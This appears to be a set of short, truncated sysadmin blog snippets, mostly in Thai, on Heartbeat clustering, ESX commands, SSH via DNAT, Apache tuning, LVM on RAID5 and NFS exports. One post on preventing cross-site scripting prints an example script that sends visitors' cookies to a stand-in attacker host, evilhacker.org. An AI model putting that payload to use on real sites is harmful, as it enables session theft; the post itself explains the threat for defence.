Environment
Redhat-based linux (Fedora, CentOS)
Installation
yum install heartbeat
Minimum Configuration
/etc/ha.d/ha.cf
node heartbeat1
node heartbeat2
bcast eth0
auto_failback off
/etc/ha.d/haresources
heartbeat1 192.168.85.3/27/192.168.85.16
/etc/ha.d/authkeys
auth 1
1 sha1 passwordString
Few description
/etc/ha.d/ha.cf
node xxx
node nodename = Indicate node in this heartbeat cluster
we can obtain nodename via uname -n command
bcast eth0
Reference from vim-cmd of VMware ESX Server 3i 3.5.0 build-123629
Get help: vim-cmd help or vim-cmd -h
Guest VM control command
Commands available under vmsvc/: acquiremksticket get.configoption power.off connect get.datastores power.on convert.toTemplate get.disabledmethods power.reboot convert.toVm get.environment power.reset createdummyvm get.filelayout power.shutdown
Sample: SSH through DNAT
Scenario
My client has IP address 172.16.1.202 with 172.16.1.1 as default gateway.
And I need to access secure shell of server in another network (192.168.1.101).
Our gateway has 172.16.1.1 and 192.168.1.1 as IP address in both networks.
Diagram
Client 172.16.1.202 ---> 172.16.1.1:50001 [Gateway] 192.168.1.1 ---> 192.168.1.101:22 [Destination]
Gateway
# Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
# Let firewall accept forwarding for port 50001
(จะจัดเข้าหมวด Speedy Apache ดีไหมนี่)
เพื่อประสิทธิภาพที่ดีของ web server ของเรา
มาลดการเขียน log ลง disk กันบ้างดีกว่าครับ
ถ้าเรายังต้องการการ log ของ Apache อยู่
แต่ก็มีบาง request ที่ไม่ต้องการการเขียน log
เช่น ไฟล์รูปภาพ, CSS, JavaScript, ...
ให้ทำดังนี้ครับ
1. Set environment variable สำหรับ request ที่ match กับที่เราต้องการ
SetEnvIfNoCase Request_URI "\.(gif|jpg|png|js|css)$" no_log_object
2. เพิ่ม env filter เข้าไปหลังบรรทัดที่ระบุการเขียน Log
CustomLog /bla/bla/bla combined env=!no_log_object
Web Application Stronghold - Episode 1 - ป้องกัน cross-site scripting -- Prevent cross-site scripting
ตัวอย่างง่าย ๆ ของ Cross-site scripting ก็คือการ post ข้อความที่ปน HTML เข้าไปในที่ใดก็ตามที่อนุญาตให้ post free text ได้
เช่น guestbook, comment ฯลฯ เช่นถ้าเรา post code ข้างล่างนี้ไปที่ guestbook ของใครซักคน ที่ไม่ได้กรอง HTML code
Hello Everyone!<script>document.write("<img src="http://evilhacker.org/?" + document.cookie + "'>);</script>ทุกคนที่มาอ่าน guestbook หน้านี้ก็จะถูกแอบส่ง cookie ไปยังเวบ evilhacker.org ทันที *_*
Speedy Apache - Episode 2 - ถ้าไม่จำเป็น อย่าใช้ .htaccess -- Get rid of .htaccess
ใน Website ที่อยู่ในช่วง Production แล้วถ้าไม่จำเป็นจริง ๆ ไม่ควรใช้งาน .htaccess
เนื่องจากการเปิดใช้ .htaccess นั้นจะทำให้ Apache จะต้องควานหา File .htaccess ทุกครั้งที่มีการ Request
ซึ่งก็แน่นอน การเข้าถึง File system ย่อมทำให้เกิดคอขวด ถึงแม้ว่ามันจะ Cache ได้ก็เถอะนะ
และสิ่งที่ต้องทำไม่ใช่แค่เอา File .htaccess ออกไปเท่านั้น
เราจะต้องแก้ไข httpd.conf ด้วย โดยให้
AllowOverride None
ตัว Apache เองจะได้ไม่พยายามอ่าน .htaccess อีกต่อไปครับผม
Speedy Apache - Episode 1 - เอา ETag ออกไป! -- Turn off ETag HTTP response header
Entity Tag (ETag) เปรียบเสมือนเลข Version ของ Content ที่จะส่งออกไปจาก Server
โดยถ้า Browser ส่งค่า If-None-Match (ETag ล่าสุดของ URL ที่ Browser Cache ไว้) มาด้วย
Server จะทำการเปรียบเทียบกับ ETag ที่คำนวณที่ Server ว่าเป็น Content ที่ใหม่กว่าที่ Browser Cache ไว้หรือไม่
ถ้าพบว่าค่า ETag เท่ากัน Server ก็จะส่ง status code 304 Not Modified กลับมาเพื่อบอก Browser ว่าไม่ต้องโหลดต่อให้ใช้ Content เดิมไป
วันนี้เฮี้ยนอยากลองใช้ LVM (Logical Volume Management) บน Software RAID (RAID5) ดู
โดยผมลองใน VMware นะครับ เพื่อความปลอดภัย อิอิ
VM configuration
- Fedora 9.0
- SCSI disk 8GB x 3
ขั้นที่ 1 สร้าง RAID Array ขึ้นมาก่อน โดย
1. เนื่องจากผมไม่ได้ใช้ทั้ง Disk จึงต้องแบ่ง Partition เอาครับ โดยใช้ fdisk
แบ่ง Harddisk ทั้ง 3 ลูกให้มี Partition ขนาด 1000MB (จะลอง RAID 5 จึงต้องใช้ขนาดเท่ากันเป๊ะ ๆ)
เป็น /dev/sda5, /dev/sdb5, /dev/sdc5
2. สร้าง RAID Array ชื่อ /dev/md0
[root@localhost ~]# mdadm -Cv /dev/md0 -l5 -n3 /dev/sda5 /dev/sdb5 /dev/sdc5
Just a quick example for nfs export path.
Format
<Local Path> <hosts>(<Options>) [<more hosts>(<Options>)...]
For read-only path
/xyz/abc 192.168.1.111(ro,root_squash)
For read-write path
/abc/xyz 192.168.1.112(rw,no_root_squash)
Hosts